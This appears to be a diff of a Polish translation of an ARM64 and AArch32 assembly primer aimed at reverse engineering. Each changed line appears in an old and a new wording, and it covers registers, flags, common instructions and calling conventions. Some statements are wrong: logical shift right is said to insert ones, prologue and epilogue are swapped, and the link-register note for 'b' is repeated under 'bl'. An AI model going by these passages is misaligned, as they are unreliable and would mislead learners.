@ -25,37 +25,37 @@ Użycie tych poziomów pozwala na uporządkowany i bezpieczny sposób zarządzan
ARM64 ma **31 rejestrów ogólnego przeznaczenia**, oznaczonych od `x0` do `x30`. Każdy z nich może przechowywać wartość **64-bitową** (8-bajtową). W przypadku operacji, które wymagają tylko wartości 32-bitowych, te same rejestry mogą być używane w trybie 32-bitowym, używając nazw w0 do w30.
1. **`x0`** do **`x7`** - Zwykle używane jako rejestry pomocnicze i do przekazywania parametrów do podprogramów.
- **`x0`** również przenosi dane zwracane przez funkcję.
2. **`x8`** - W jądrze Linuxa, `x8` jest używany jako numer wywołania systemowego dla instrukcji `svc`. **W macOS używany jest x16!**
1. **`x0`** do **`x7`** - Zwykle używane jako rejestry pomocnicze i do przekazywania parametrów do podprogramów.
- **`x0`** również przenosi dane zwrotne funkcji.
2. **`x8`** - W jądrze Linux, `x8` jest używany jako numer wywołania systemowego dla instrukcji `svc`. **W macOS używany jest `x16`!**
3. **`x9`** do **`x15`** - Więcej rejestrów tymczasowych, często używanych do zmiennych lokalnych.
4. **`x16`** i **`x17`** - **Rejestry Wywołań Wewnątrzproceduralnych**. Rejestry tymczasowe dla wartości natychmiastowych. Są również używane do pośrednich wywołań funkcji i stubów PLT (Tabela Łączenia Procedur).
- **`x16`** jest używany jako **numer wywołania systemowego** dla instrukcji **`svc`** w **macOS**.
5. **`x18`** - **Rejestr platformy**. Może być używany jako rejestr ogólnego przeznaczenia, ale na niektórych platformach ten rejestr jest zarezerwowany do specyficznych zastosowań platformy: wskaźnik do bloku środowiska wątku w Windows lub wskaźnik do aktualnie **wykonującej się struktury zadania w jądrze Linuxa**.
5. **`x18`** - **Rejestr platformy**. Może być używany jako rejestr ogólnego przeznaczenia, ale na niektórych platformach ten rejestr jest zarezerwowany do specyficznych zastosowań platformy: wskaźnik do bloku środowiska wątku w Windows lub wskaźnik do aktualnie **wykonującej się struktury zadania w jądrze Linux**.
6. **`x19`** do **`x28`** - To rejestry zachowywane przez wywoływaną funkcję. Funkcja musi zachować wartości tych rejestrów dla swojego wywołującego, więc są one przechowywane na stosie i odzyskiwane przed powrotem do wywołującego.
7. **`x29`** - **Wskaźnik ramki** do śledzenia ramki stosu. Gdy tworzona jest nowa ramka stosu z powodu wywołania funkcji, rejestr **`x29`** jest **przechowywany na stosie**, a adres **nowego** wskaźnika ramki (adres **`sp`**) jest **przechowywany w tym rejestrze**.
- Ten rejestr może być również używany jako **rejestr ogólnego przeznaczenia**, chociaż zazwyczaj jest używany jako odniesienie do **zmiennych lokalnych**.
8. **`x30`** lub **`lr`** - **Rejestr łączenia**. Przechowuje **adres zwrotu**, gdy wykonywana jest instrukcja `BL` (Branch with Link) lub `BLR` (Branch with Link to Register), przechowując wartość **`pc`** w tym rejestrze.
8. **`x30`** lub **`lr`** - **Rejestr łączenia**. Przechowuje **adres zwrotny**, gdy wykonywana jest instrukcja `BL` (Branch with Link) lub `BLR` (Branch with Link to Register), przechowując wartość **`pc`** w tym rejestrze.
- Może być również używany jak każdy inny rejestr.
- Jeśli bieżąca funkcja ma wywołać nową funkcję i tym samym nadpisać `lr`, przechowa ją na stosie na początku, to jest epilog (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Przechowaj `fp` i `lr`, wygeneruj przestrzeń i uzyskaj nowy `fp`) i odzyska ją na końcu, to jest prolog (`ldp x29, x30, [sp], #48; ret` -> Odzyskaj `fp` i `lr` i zwróć).
9. **`sp`** - **Wskaźnik stosu**, używany do śledzenia szczytu stosu.
- Jeśli aktualna funkcja ma wywołać nową funkcję i tym samym nadpisać `lr`, przechowa ją na stosie na początku, to jest epilog (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Przechowaj `fp` i `lr`, wygeneruj przestrzeń i uzyskaj nowy `fp`) i odzyska ją na końcu, to jest prolog (`ldp x29, x30, [sp], #48; ret` -> Odzyskaj `fp` i `lr` i zwróć).
9. **`sp`** - **Wskaźnik stosu**, używany do śledzenia wierzchołka stosu.
- Wartość **`sp`** powinna być zawsze utrzymywana co najmniej w **wyrównaniu quadword**, w przeciwnym razie może wystąpić wyjątek wyrównania.
10. **`pc`** - **Licznik programu**, który wskazuje na następną instrukcję. Ten rejestr może być aktualizowany tylko przez generowanie wyjątków, zwroty wyjątków i skoki. Jedynymi zwykłymi instrukcjami, które mogą odczytać ten rejestr, są instrukcje skoku z łącznikiem (BL, BLR), aby przechować adres **`pc`** w **`lr`** (Rejestr Łączenia).
11. **`xzr`** - **Rejestr zerowy**. Nazywany również **`wzr`** w formie rejestru **32**-bitowego. Może być używany do łatwego uzyskania wartości zerowej (częsta operacja) lub do wykonywania porównań przy użyciu **`subs`**, jak **`subs XZR, Xn, #10`**, przechowując wynikowe dane nigdzie (w **`xzr`**).
11. **`xzr`** - **Rejestr zerowy**. Nazywany również **`wzr`** w formie rejestru **32**-bitowego. Może być używany do łatwego uzyskania wartości zerowej (częsta operacja) lub do wykonywania porównań przy użyciu **`subs`** jak **`subs XZR, Xn, #10`**, przechowując wynikowe dane nigdzie (w **`xzr`**).
Rejestry **`Wn`** są **32-bitową** wersją rejestru **`Xn`**.
Rejestry **`Wn`** są **32-bitową** wersją rejestrów **`Xn`**.
### Rejestry SIMD i zmiennoprzecinkowe
Ponadto istnieje kolejne **32 rejestry o długości 128 bitów**, które mogą być używane w zoptymalizowanych operacjach SIMD (jedna instrukcja, wiele danych) oraz do wykonywania arytmetyki zmiennoprzecinkowej. Nazywane są rejestrami Vn, chociaż mogą również działać w **64**-bitowym, **32**-bitowym, **16**-bitowym i **8**-bitowym, a wtedy nazywane są **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** i **`Bn`**.
Ponadto istnieje kolejne **32 rejestry o długości 128 bitów**, które mogą być używane w zoptymalizowanych operacjach SIMD (Single Instruction Multiple Data) oraz do wykonywania arytmetyki zmiennoprzecinkowej. Nazywane są rejestrami Vn, chociaż mogą również działać w **64**-bitach, **32**-bitach, **16**-bitach i **8**-bitach, a wtedy nazywane są **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** i **`Bn`**.
### Rejestry systemowe
**Istnieją setki rejestrów systemowych**, zwanych również rejestrami specjalnego przeznaczenia (SPRs), które są używane do **monitorowania** i **kontrolowania** zachowania **procesorów**.\
**Istnieją setki rejestrów systemowych**, zwanych również rejestrami o specjalnym przeznaczeniu (SPRs), które są używane do **monitorowania** i **kontrolowania** zachowania **procesorów**.\
Mogą być odczytywane lub ustawiane tylko za pomocą dedykowanej specjalnej instrukcji **`mrs`** i **`msr`**.
Specjalne rejestry **`TPIDR_EL0`** i **`TPIDDR_EL0`** są często spotykane podczas inżynierii odwrotnej. Sufiks `EL0` wskazuje na **minimalny wyjątek**, z którego rejestr może być dostępny (w tym przypadku EL0 jest regularnym poziomem wyjątku (uprawnień), na którym działają zwykłe programy).\
Często są używane do przechowywania **adresu bazowego lokalizacji pamięci** dla przechowywania lokalnego wątku. Zazwyczaj pierwszy z nich jest odczytywalny i zapisywalny dla programów działających w EL0, ale drugi może być odczytywany z EL0 i zapisywany z EL1 (jak jądro).
Specjalne rejestry **`TPIDR_EL0`** i **`TPIDDR_EL0`** są często spotykane podczas inżynierii odwrotnej. Sufiks `EL0` wskazuje na **minimalny wyjątek**, z którego rejestr może być dostępny (w tym przypadku EL0 to regularny poziom wyjątku (uprawnienia), na którym działają zwykłe programy).\
Często są używane do przechowywania **adresu bazowego lokalizacji pamięci** dla przechowywania lokalnego wątku. Zwykle pierwszy z nich jest odczytywalny i zapisywalny dla programów działających w EL0, ale drugi może być odczytywany z EL0 i zapisywany z EL1 (jak jądro).
- `mrs x0, TPIDR_EL0 ; Odczytaj TPIDR_EL0 do x0`
- `msr TPIDR_EL0, X0 ; Zapisz x0 do TPIDR_EL0`
@ -81,11 +81,11 @@ Oto dostępne pola:
> Nie wszystkie instrukcje aktualizują te flagi. Niektóre, takie jak **`CMP`** lub **`TST`**, to robią, a inne, które mają sufiks s, takie jak **`ADDS`**, również to robią.
- Flaga **szerokości rejestru (`nRW`)**: Jeśli flaga ma wartość 0, program będzie działał w stanie wykonawczym AArch64 po wznowieniu.
- Bieżący **Poziom Wyjątków** (**`EL`**): Zwykły program działający w EL0 będzie miał wartość 0.
- Aktualny **Poziom Wyjątków** (**`EL`**): Zwykły program działający w EL0 będzie miał wartość 0.
- Flaga **jednoetapowego** (**`SS`**): Używana przez debugery do jednoetapowego wykonania, ustawiając flagę SS na 1 wewnątrz **`SPSR_ELx`** przez wyjątek. Program wykona krok i wyda wyjątek jednoetapowy.
- Flaga **nielegalnego stanu wyjątku** (**`IL`**): Używana do oznaczania, gdy oprogramowanie z uprawnieniami wykonuje nieprawidłowe przejście na poziom wyjątku, ta flaga jest ustawiana na 1, a procesor wyzwala wyjątek stanu nielegalnego.
- Flaga stanu **nielegalnego wyjątku** (**`IL`**): Używana do oznaczania, gdy oprogramowanie z uprawnieniami wykonuje nieprawidłowe przejście na poziom wyjątku, ta flaga jest ustawiana na 1, a procesor wyzwala wyjątek stanu nielegalnego.
- Flagi **`DAIF`**: Te flagi pozwalają programowi z uprawnieniami na selektywne maskowanie niektórych zewnętrznych wyjątków.
- Jeśli **`A`** wynosi 1, oznacza to, że będą wyzwalane **asynchroniczne przerwania**. Flaga **`I`** konfiguruje odpowiedź na zewnętrzne żądania przerwań sprzętowych (IRQ). a F jest związana z **szybkimi żądaniami przerwań** (FIR).
- Jeśli **`A`** wynosi 1, oznacza to, że będą wyzwalane **asynchroniczne przerwania**. Flaga **`I`** konfiguruje odpowiedź na zewnętrzne żądania przerwania sprzętowego (IRQ). Flaga F jest związana z **szybkimi żądaniami przerwania** (FIR).
- Flagi **wyboru wskaźnika stosu** (**`SPS`**): Programy z uprawnieniami działające w EL1 i wyżej mogą przełączać się między używaniem własnego rejestru wskaźnika stosu a wskaźnikiem modelu użytkownika (np. między `SP_EL1` a `EL0`). To przełączanie odbywa się przez zapis do specjalnego rejestru **`SPSel`**. Nie można tego zrobić z EL0.
## **Konwencja Wywołań (ARM64v8)**
@ -100,22 +100,22 @@ Swift ma swoją własną **konwencję wywołań**, którą można znaleźć w [*
## **Typowe Instrukcje (ARM64v8)**
Instrukcje ARM64 zazwyczaj mają **format `opcode dst, src1, src2`**, gdzie **`opcode`** to **operacja**, która ma być wykonana (taka jak `add`, `sub`, `mov` itp.), **`dst`** to **rejestr docelowy**, w którym zostanie przechowany wynik, a **`src1`** i **`src2`** to **rejestry źródłowe**. Wartości natychmiastowe mogą być również używane zamiast rejestrów źródłowych.
Instrukcje ARM64 mają zazwyczaj **format `opcode dst, src1, src2`**, gdzie **`opcode`** to **operacja**, która ma być wykonana (taka jak `add`, `sub`, `mov` itp.), **`dst`** to **rejestr docelowy**, w którym zostanie przechowany wynik, a **`src1`** i **`src2`** to **rejestry źródłowe**. Wartości natychmiastowe mogą być również używane zamiast rejestrów źródłowych.
- **`mov`**: **Przenieś** wartość z jednego **rejestru** do drugiego.
- Przykład: `mov x0, x1` — To przenosi wartość z `x1` do `x0`.
- **`ldr`**: **Załaduj** wartość z **pamięci** do **rejestru**.
- Przykład: `ldr x0, [x1]` — To ładuje wartość z lokalizacji pamięci wskazywanej przez `x1` do `x0`.
- **Tryb offsetu**: Wskazuje na offset wpływający na oryginalny wskaźnik, na przykład:
- `ldr x2, [x1, #8]`, to załaduje w x2 wartość z x1 + 8
- `ldr x2, [x0, x1, lsl #2]`, to załaduje w x2 obiekt z tablicy x0, z pozycji x1 (indeks) \* 4
- **Tryb offsetu**: Wskazuje na offset wpływający na wskaźnik oryginalny, na przykład:
- `ldr x2, [x1, #8]`, to załaduje do x2 wartość z x1 + 8
- `ldr x2, [x0, x1, lsl #2]`, to załaduje do x2 obiekt z tablicy x0, z pozycji x1 (indeks) \* 4
- **Tryb wstępnie indeksowany**: To zastosuje obliczenia do oryginału, uzyska wynik i również przechowa nowy oryginał w oryginale.
- `ldr x2, [x1, #8]!`, to załaduje `x1 + 8` w `x2` i przechowa w x1 wynik `x1 + 8`
- `ldr x2, [x1, #8]!`, to załaduje `x1 + 8` do `x2` i przechowa w x1 wynik `x1 + 8`
- `str lr, [sp, #-4]!`, Zapisz rejestr łączenia w sp i zaktualizuj rejestr sp
- **Tryb postindeksowy**: To jest jak poprzedni, ale adres pamięci jest uzyskiwany, a następnie obliczany i przechowywany jest offset.
- `ldr x0, [x1], #8`, załaduj `x1` w `x0` i zaktualizuj x1 z `x1 + 8`
- **Tryb postindeksowy**: To jest jak poprzedni, ale adres pamięci jest dostępny, a następnie obliczany i przechowywany jest offset.
- `ldr x0, [x1], #8`, załaduj `x1` do `x0` i zaktualizuj x1 z `x1 + 8`
- **Adresowanie względne do PC**: W tym przypadku adres do załadowania jest obliczany w odniesieniu do rejestru PC
- `ldr x1, =_start`, To załaduje adres, w którym zaczyna się symbol `_start` w x1 w odniesieniu do bieżącego PC.
- `ldr x1, =_start`, To załaduje adres, w którym zaczyna się symbol `_start` w x1 w odniesieniu do aktualnego PC.
- **`str`**: **Zapisz** wartość z **rejestru** do **pamięci**.
- Przykład: `str x0, [x1]` — To zapisuje wartość w `x0` do lokalizacji pamięci wskazywanej przez `x1`.
- **`ldp`**: **Załaduj parę rejestrów**. Ta instrukcja **ładuje dwa rejestry** z **kolejnych lokalizacji pamięci**. Adres pamięci jest zazwyczaj tworzony przez dodanie offsetu do wartości w innym rejestrze.
@ -130,7 +130,7 @@ Instrukcje ARM64 zazwyczaj mają **format `opcode dst, src1, src2`**, gdzie **`o
- Xn3 | #imm -> Operand 2 (rejestr lub natychmiastowy)
- \[shift #N | RRX] -> Wykonaj przesunięcie lub wywołaj RRX
- Przykład: `add x0, x1, x2` — To dodaje wartości w `x1` i `x2` razem i przechowuje wynik w `x0`.
- `add x5, x5, #1, lsl #12` — To równa się 4096 (1 przesunięte 12 razy) -> 1 0000 0000 0000 0000
- `add x5, x5, #1, lsl #12` — To równa się 4096 (1 przesunięcie 12 razy) -> 1 0000 0000 0000 0000
- **`adds`** To wykonuje `add` i aktualizuje flagi
- **`sub`**: **Odejmij** wartości dwóch rejestrów i przechowaj wynik w rejestrze.
- Sprawdź **`add`** **składnię**.
@ -143,52 +143,52 @@ Instrukcje ARM64 zazwyczaj mają **format `opcode dst, src1, src2`**, gdzie **`o
- **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
- **Logiczne przesunięcie w lewo**: Dodaj 0 z końca, przesuwając inne bity do przodu (mnożenie przez n razy 2)
- **Logiczne przesunięcie w prawo**: Dodaj 1 na początku, przesuwając inne bity do tyłu (dzielenie przez n razy 2 w bez znaku)
- **Arytmetyczne przesunięcie w prawo**: Jak **`lsr`**, ale zamiast dodawania 0, jeśli najbardziej znaczący bit to 1, dodawane są **1** (\*\*dzielenie przez n razy 2 w ze znakiem)
- **Obracanie w prawo**: Jak **`lsr`**, ale cokolwiek usunięte z prawej strony jest dodawane z lewej
- **Obracanie w prawo z rozszerzeniem**: Jak **`ror`**, ale z flagą przeniesienia jako "najbardziej znaczący bit". Tak więc flaga przeniesienia jest przesuwana do bitu 31, a usunięty bit do flagi przeniesienia.
- **Arytmetyczne przesunięcie w prawo**: Jak **`lsr`**, ale zamiast dodawania 0, jeśli najbardziej znaczący bit to 1, dodawane są **1** (dzielenie przez n razy 2 w ze znakiem)
- **Obracanie w prawo**: Jak **`lsr`**, ale cokolwiek usunięte z prawej jest dodawane do lewej
- **Obracanie w prawo z rozszerzeniem**: Jak **`ror`**, ale z flagą przeniesienia jako "najbardziej znaczący bit". Więc flaga przeniesienia jest przesuwana do bitu 31, a usunięty bit do flagi przeniesienia.
- **`bfm`**: **Przesunięcie Bitowe**, te operacje **kopiują bity `0...n`** z wartości i umieszczają je w pozycjach **`m..m+n`**. **`#s`** określa **pozycję najbardziej lewego bitu**, a **`#r`** ilość przesunięcia w prawo.
- Przesunięcie bitowe: `BFM Xd, Xn, #r`
- Przesunięcie bitowe ze znakiem: `SBFM Xd, Xn, #r, #s`
- Przesunięcie bitowe bez znaku: `UBFM Xd, Xn, #r, #s`
- **Ekstrakcja i Wstawianie Bitów:** Kopiuje pole bitowe z rejestru i wstawia je do innego rejestru.
- **`BFI X1, X2, #3, #4`** Wstawia 4 bity z X2 z 3. bitu X1
- **`BFXIL X1, X2, #3, #4`** Ekstrahuje 4 bity z 3. bitu X2 i kopiuje je do X1
- **`BFXIL X1, X2, #3, #4`** Ekstrahuje z 3. bitu X2 cztery bity i kopiuje je do X1
- **`SBFIZ X1, X2, #3, #4`** Rozszerza znak 4 bitów z X2 i wstawia je do X1, zaczynając od pozycji bitu 3, zerując prawe bity
- **`SBFX X1, X2, #3, #4`** Ekstrahuje 4 bity zaczynając od bitu 3 z X2, rozszerza je ze znakiem i umieszcza wynik w X1
- **`UBFIZ X1, X2, #3, #4`** Zeruje 4 bity z X2 i wstawia je do X1, zaczynając od pozycji bitu 3, zerując prawe bity
- **`UBFX X1, X2, #3, #4`** Ekstrahuje 4 bity zaczynając od bitu 3 z X2 i umieszcza wynik z rozszerzeniem zerowym w X1.
- **`UBFIZ X1, X2, #3, #4`** Rozszerza 4 bity z X2 i wstawia je do X1, zaczynając od pozycji bitu 3, zerując prawe bity
- **`UBFX X1, X2, #3, #4`** Ekstrahuje 4 bity zaczynając od bitu 3 z X2 i umieszcza rozszerzony wynik w X1.
- **Rozszerzenie znaku do X:** Rozszerza znak (lub dodaje tylko 0 w wersji bez znaku) wartości, aby móc wykonywać operacje z nią:
- **`SXTB X1, W2`** Rozszerza znak bajtu **z W2 do X1** (`W2` jest połową `X2`) aby wypełnić 64 bity
- **`SXTB X1, W2`** Rozszerza znak bajtu **z W2 do X1** (`W2` to połowa `X2`) aby wypełnić 64 bity
- **`SXTH X1, W2`** Rozszerza znak liczby 16-bitowej **z W2 do X1** aby wypełnić 64 bity
- **`SXTW X1, W2`** Rozszerza znak bajtu **z W2 do X1** aby wypełnić 64 bity
- **`UXTB X1, W2`** Dodaje 0 (bez znaku) do bajtu **z W2 do X1** aby wypełnić 64 bity
- **`extr`:** Ekstrahuje bity z określonej **pary rejestrów połączonych**.
- Przykład: `EXTR W3, W2, W1, #3` To **łączy W1+W2** i uzyskuje **z bitu 3 W2 do bitu 3 W1** i przechowuje to w W3.
- Przykład: `EXTR W3, W2, W1, #3` To **połączy W1+W2** i uzyska **od bitu 3 W2 do bitu 3 W1** i przechowa to w W3.
- **`cmp`**: **Porównaj** dwa rejestry i ustaw flagi warunkowe. To jest **alias `subs`** ustawiający rejestr docelowy na rejestr zerowy. Przydatne do sprawdzenia, czy `m == n`.
- Obsługuje **tę samą składnię co `subs`**
- Przykład: `cmp x0, x1` — To porównuje wartości w `x0` i `x1` i ustawia flagi warunkowe odpowiednio.
- **`cmn`**: **Porównaj operand ujemny**. W tym przypadku to jest **alias `adds`** i obsługuje tę samą składnię. Przydatne do sprawdzenia, czy `m == -n`.
- **`ccmp`**: Porównanie warunkowe, to porównanie, które zostanie wykonane tylko wtedy, gdy wcześniejsze porównanie było prawdziwe i specjalnie ustawi bity nzcv.
- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> jeśli x1 != x2 i x3 < x4, skocz do func
- Dzieje się tak, ponieważ **`ccmp`** zostanie wykonane tylko wtedy, gdy **poprzedni `cmp` był `NE`**, jeśli nie, bity `nzcv` zostaną ustawione na 0 (co nie zaspokoi porównania `blt`).
- Może to być również używane jako `ccmn` (to samo, ale negatywne, jak `cmp` vs `cmn`).
- Dzieje się tak, ponieważ **`ccmp`** zostanie wykonane tylko wtedy, gdy **poprzednie `cmp` było `NE`**, jeśli nie, bity `nzcv` zostaną ustawione na 0 (co nie spełni porównania `blt`).
- Może być również używane jako `ccmn` (to samo, ale negatywne, jak `cmp` w porównaniu do `cmn`).
- **`tst`**: Sprawdza, czy którakolwiek z wartości porównania jest równa 1 (działa jak ANDS bez przechowywania wyniku gdziekolwiek). Przydatne do sprawdzenia rejestru z wartością i sprawdzenia, czy którakolwiek z bitów rejestru wskazanych w wartości jest równa 1.
- Przykład: `tst X1, #7` Sprawdź, czy którakolwiek z ostatnich 3 bitów X1 jest równa 1
- **`teq`**: Operacja XOR, zrzucając wynik
- Przykład: `tst X1, #7` Sprawdza, czy którakolwiek z ostatnich 3 bitów X1 jest równa 1
- **`teq`**: Operacja XOR, ignorując wynik
- **`b`**: Bezwarunkowy skok
- Przykład: `b myFunction`
- Zauważ, że to nie wypełni rejestru łączenia adresem zwrotu (nieodpowiednie do wywołań podprogramów, które muszą wrócić)
- **`bl`**: **Skok** z łącznikiem, używany do **wywołania** **podprogramu**. Przechowuje **adres zwrotu w `x30`**.
- Przykład: `bl myFunction` — To wywołuje funkcję `myFunction` i przechowuje adres zwrotu w `x30`.
- Zauważ, że to nie wypełni rejestru łączenia adresem zwrotu (nieodpowiednie do wywołań podprogramów, które muszą wrócić)
- **`blr`**: **Skok** z łącznikiem do rejestru, używany do **wywołania** **podprogramu**, gdzie cel jest **określony** w **rejestrze**. Przechowuje adres zwrotu w `x30`. (To jest
- Przykład: `blr x1` — To wywołuje funkcję, której adres znajduje się w `x1` i przechowuje adres zwrotu w `x30`.
- Zauważ, że to nie wypełni rejestru łączenia adresem zwrotnym (nieodpowiednie do wywołań podprogramów, które muszą wrócić)
- **`bl`**: **Skok** z łącznikiem, używany do **wywołania** **podprogramu**. Przechowuje **adres zwrotny w `x30`**.
- Przykład: `bl myFunction` — To wywołuje funkcję `myFunction` i przechowuje adres zwrotny w `x30`.
- Zauważ, że to nie wypełni rejestru łączenia adresem zwrotnym (nieodpowiednie do wywołań podprogramów, które muszą wrócić)
- **`blr`**: **Skok** z łącznikiem do rejestru, używany do **wywołania** **podprogramu**, gdzie cel jest **określony** w **rejestrze**. Przechowuje adres zwrotny w `x30`. (To jest
- Przykład: `blr x1` — To wywołuje funkcję, której adres znajduje się w `x1` i przechowuje adres zwrotny w `x30`.
- **`ret`**: **Powrót** z **podprogramu**, zazwyczaj używając adresu w **`x30`**.
- Przykład: `ret` — To wraca z bieżącego podprogramu, używając adresu zwrotu w `x30`.
- Przykład: `ret` — To wraca z aktualnego podprogramu, używając adresu zwrotnego w `x30`.
- **`b.<cond>`**: Skoki warunkowe
- **`b.eq`**: **Skok, jeśli równo**, na podstawie poprzedniej instrukcji `cmp`.
- **`b.eq`**: **Skok, jeśli równe**, na podstawie poprzedniej instrukcji `cmp`.
- Przykład: `b.eq label` — Jeśli poprzednia instrukcja `cmp` znalazła dwie równe wartości, to skacze do `label`.
- **`b.ne`**: **Skok, jeśli nie równo**. Ta instrukcja sprawdza flagi warunkowe (które zostały ustawione przez wcześniejszą instrukcję porównania), a jeśli porównywane wartości nie były równe, skacze do etykiety lub adresu.
- **`b.ne`**: **Skok, jeśli nie równe**. Ta instrukcja sprawdza flagi warunkowe (które zostały ustawione przez wcześniejszą instrukcję porównania), a jeśli porównywane wartości nie były równe, skacze do etykiety lub adresu.
- Przykład: Po instrukcji `cmp x0, x1`, `b.ne label` — Jeśli wartości w `x0` i `x1` nie były równe, to skacze do `label`.
- **`cbz`**: **Porównaj i skocz, jeśli zero**. Ta instrukcja porównuje rejestr z zerem, a jeśli są równe, skacze do etykiety lub adresu.
- Przykład: `cbz x0, label` — Jeśli wartość w `x0` jest zerowa, to skacze do `label`.
@ -198,7 +198,7 @@ Instrukcje ARM64 zazwyczaj mają **format `opcode dst, src1, src2`**, gdzie **`o
- Przykład: `tbnz x0, #8, label`
- **`tbz`**: Testuj bit i skocz, jeśli zero
- Przykład: `tbz x0, #8, label`
- **Operacje wyboru warunkowego**: To operacje, których zachowanie zmienia się w zależności od bitów warunkowych.
- **Operacje wyboru warunkowego**: To operacje, których zachowanie zmienia się w zależności od bitów warunkowych.
- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Jeśli prawda, X0 = X1, jeśli fałsz, X0 = X2
- `csinc Xd, Xn, Xm, cond` -> Jeśli prawda, Xd = Xn, jeśli fałsz, Xd = Xm + 1
- `cinc Xd, Xn, cond` -> Jeśli prawda, Xd = Xn + 1, jeśli fałsz, Xd = Xn
@ -210,8 +210,8 @@ Instrukcje ARM64 zazwyczaj mają **format `opcode dst, src1, src2`**, gdzie **`o
- `csetm Xd, Xn, Xm, cond` -> Jeśli prawda, Xd = \<wszystkie 1>, jeśli fałsz, Xd = 0
- **`adrp`**: Oblicz **adres strony symbolu** i przechowaj go w rejestrze.
- Przykład: `adrp x0, symbol` — To oblicza adres strony symbolu i przechowuje go w `x0`.
- **`ldrsw`**: **Załaduj** wartość **32-bitową** ze znakiem z pamięci i **rozszerz ją do 64** bitów.
- Przykład: `ldrsw x0, [x1]` — To ładuje wartość 32-bitową ze znakiem z lokalizacji pamięci wskazywanej przez `x1`, rozszerza ją do 64 bitów i przechowuje w `x0`.
- **`ldrsw`**: **Załaduj** podpisaną **32-bitową** wartość z pamięci i **rozszerz ją do 64** bitów.
- Przykład: `ldrsw x0, [x1]` — To ładuje podpisaną 32-bitową wartość z lokalizacji pamięci wskazywanej przez `x1`, rozszerza ją do 64 bitów i przechowuje w `x0`.
- **`stur`**: **Zapisz wartość rejestru do lokalizacji pamięci**, używając offsetu z innego rejestru.
- Przykład: `stur x0, [x1, #4]` — To zapisuje wartość w `x0` do lokalizacji pamięci, która jest o 4 bajty większa niż adres aktualnie w `x1`.
- **`svc`** : Wykonaj **wywołanie systemowe**. Oznacza "Wywołanie Nadzorcy". Gdy procesor wykonuje tę instrukcję, **przechodzi z trybu użytkownika do trybu jądra** i skacze do określonej lokalizacji w pamięci, gdzie znajduje się **kod obsługi wywołań systemowych jądra**.
@ -240,13 +240,13 @@ stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement t
```armasm
ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer
```
3. **Return**: `ret` (zwraca kontrolę do wywołującego, używając adresu w rejestrze linków)
3. **Return**: `ret` (zwraca kontrolę do wywołującego, używając adresu w rejestrze linku)
## Stan Wykonania AARCH32
Armv8-A wspiera wykonanie programów 32-bitowych. **AArch32** może działać w jednym z **dwóch zestawów instrukcji**: **`A32`** i **`T32`** i może przełączać się między nimi za pomocą **`interworking`**.\
**Privileged** programy 64-bitowe mogą planować **wykonanie programów 32-bitowych** poprzez wykonanie transferu poziomu wyjątku do niżej uprzywilejowanego 32-bitowego.\
Należy zauważyć, że przejście z 64-bitów do 32-bitów następuje przy obniżeniu poziomu wyjątku (na przykład program 64-bitowy w EL1 wyzwalający program w EL0). Dzieje się to poprzez ustawienie **bitu 4 w** **`SPSR_ELx`** specjalnym rejestrze **na 1**, gdy wątek procesu `AArch32` jest gotowy do wykonania, a reszta `SPSR_ELx` przechowuje **CPSR** programów **`AArch32`**. Następnie, uprzywilejowany proces wywołuje instrukcję **`ERET`**, aby procesor przeszedł do **`AArch32`**, wchodząc w A32 lub T32 w zależności od CPSR\*\*.\*\*
Należy zauważyć, że przejście z 64-bitów do 32-bitów następuje przy obniżeniu poziomu wyjątku (na przykład program 64-bitowy w EL1 wyzwalający program w EL0). Dzieje się to poprzez ustawienie **bitu 4 w** **`SPSR_ELx`** specjalnym rejestrze **na 1**, gdy wątek procesu `AArch32` jest gotowy do wykonania, a reszta `SPSR_ELx` przechowuje **CPSR** programów **`AArch32`**. Następnie, uprzywilejowany proces wywołuje instrukcję **`ERET`**, aby procesor przeszedł do **`AArch32`**, wchodząc w A32 lub T32 w zależności od CPSR**.**
**`interworking`** zachodzi przy użyciu bitów J i T CPSR. `J=0` i `T=0` oznacza **`A32`**, a `J=0` i `T=1` oznacza **T32**. To zasadniczo oznacza ustawienie **najniższego bitu na 1**, aby wskazać, że zestaw instrukcji to T32.\
Jest to ustawiane podczas **instrukcji skoku interworking**, ale może być również ustawiane bezpośrednio za pomocą innych instrukcji, gdy PC jest ustawiony jako rejestr docelowy. Przykład:
@ -266,13 +266,13 @@ mov r0, #8
Istnieje 16 rejestrów 32-bitowych (r0-r15). **Od r0 do r14** mogą być używane do **dowolnej operacji**, jednak niektóre z nich są zazwyczaj zarezerwowane:
- **`r15`**: Licznik programu (zawsze). Zawiera adres następnej instrukcji. W A32 aktualny + 8, w T32, aktualny + 4.
- **`r15`**: Licznik programu (zawsze). Zawiera adres następnej instrukcji. W A32 obecny + 8, w T32, obecny + 4.
- **`r11`**: Wskaźnik ramki
- **`r12`**: Rejestr wywołania wewnątrz procedury
- **`r12`**: Rejestr wywołań wewnątrzproceduralnych
- **`r13`**: Wskaźnik stosu
- **`r14`**: Rejestr łączenia
Ponadto, rejestry są zapisywane w **`banked registries`**. Są to miejsca, które przechowują wartości rejestrów, umożliwiając **szybkie przełączanie kontekstu** w obsłudze wyjątków i operacjach uprzywilejowanych, aby uniknąć potrzeby ręcznego zapisywania i przywracania rejestrów za każdym razem.\
Ponadto, rejestry są zapisywane w **`banked registries`**. Są to miejsca, które przechowują wartości rejestrów, co pozwala na **szybkie przełączanie kontekstu** w obsłudze wyjątków i operacjach uprzywilejowanych, aby uniknąć potrzeby ręcznego zapisywania i przywracania rejestrów za każdym razem.\
Dzieje się to poprzez **zapisanie stanu procesora z `CPSR` do `SPSR`** trybu procesora, do którego wyjątek jest zgłaszany. Po powrocie z wyjątku, **`CPSR`** jest przywracany z **`SPSR`**.
### CPSR - Rejestr Statusu Programu
@ -289,8 +289,8 @@ Pola są podzielone na kilka grup:
#### Rejestr Statusu Programu Aplikacji (APSR)
- Flagi **`N`**, **`Z`**, **`C`**, **`V`** (tak jak w AArch64)
